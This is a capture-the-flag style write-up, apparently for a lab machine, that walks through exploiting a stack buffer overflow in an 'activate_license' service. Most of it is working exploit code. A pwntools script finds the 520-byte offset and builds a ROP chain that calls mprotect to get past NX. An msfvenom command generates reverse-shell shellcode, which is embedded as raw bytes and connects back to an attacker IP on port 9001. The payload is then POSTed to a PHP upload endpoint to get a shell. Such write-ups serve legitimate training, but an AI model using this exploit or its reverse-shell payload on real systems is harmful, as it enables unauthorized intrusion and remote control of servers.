Skip to main content

Buffer Overflow

With the various files downloaded and binary analysed, it is time to start the actual scripting and exploitation.

Finding required bytes

First, we need to identify the number of bytes to overflow $RSP and perform control flow redirection.

exploit.py
from pwn import *

context.log_level = "WARN"

libc = ELF("./libc-2.31.so")
libsql = ELF("./libsqlite3.so.0.8.6")
bin = context.binary = ELF("./activate_license")

libc.address = 0x7F9ED29F0000
libsql.address = 0x7F9ED2BB5000
bin.address = 0x5583D20BF000
STACK_START = 0x7FFD40921000
STACK_SIZE = 0x7FFD40942000 - STACK_START

rop = ROP([libc, libsql])

p = remote("localhost", 1337)
gdb.attach(p)

payload = [p32(800, endian="big"), cyclic(1000, n=8)]
payload = b"".join(payload)

p.send(payload)

Running the binary locally and using the script, from GDB and gef, I can see that the length is 520.

> ./activate_license 1337
[+] starting server listening on port 1337
[+] listening ...

# Start another window
> python3 exploit.py

gef output

With that in mind, we can continue crafting the rest of the payload using the classic mprotect to bypass NX and using shellcode.

Shellcode generation

To generate a shellcode for a reverse shell, msfvenom is used.

> msfvenom -p linux/x64/shell_reverse_tcp LHOST=<YOUR IP> LPORT=9001 -f py

In my case, my IP is 10.10.14.15.

Finishing the script

exploit.py
from pwn import *
import requests

context.log_level = "WARN"

libc = ELF("./libc-2.31.so")
libsql = ELF("./libsqlite3.so.0.8.6")
bin = context.binary = ELF("./activate_license")

libc.address = 0x7F9ED29F0000
libsql.address = 0x7F9ED2BB5000
bin.address = 0x5583D20BF000
STACK_START = 0x7FFD40921000
STACK_SIZE = 0x7FFD40942000 - STACK_START

rop = ROP([libc, libsql])

# p = remote("localhost", 1337)
# gdb.attach(p)

# length found to overwrite $rsp = 520
# payload = [p32(800, endian="big"), cyclic(1000, n=8)]
# payload = b"".join(payload)

mprotect = libc.sym.mprotect
POP_RDI = rop.rdi[0]
POP_RSI = rop.rsi[0]
POP_RDX = rop.rdx[0]
JMP_RSP = rop.jmp_rsp[0]

buf = b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48"
buf += b"\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0f\x51\x48"
buf += b"\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e"
buf += b"\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58"
buf += b"\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48"
buf += b"\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"

payload = b"A" * 520
payload += p64(POP_RDI)
payload += p64(STACK_START)
payload += p64(POP_RSI)
payload += p64(STACK_SIZE)
payload += p64(POP_RDX)
payload += p64(7)
payload += p64(mprotect)
payload += p64(JMP_RSP)
payload += buf

# print(payload)

r = requests.post(
"http://10.10.11.154/activate_license.php", files={"licensefile": payload}
)
# p.interactive()

Foothold

Listening on port 9001, I managed to get a shell! What a great medium box.

Foothold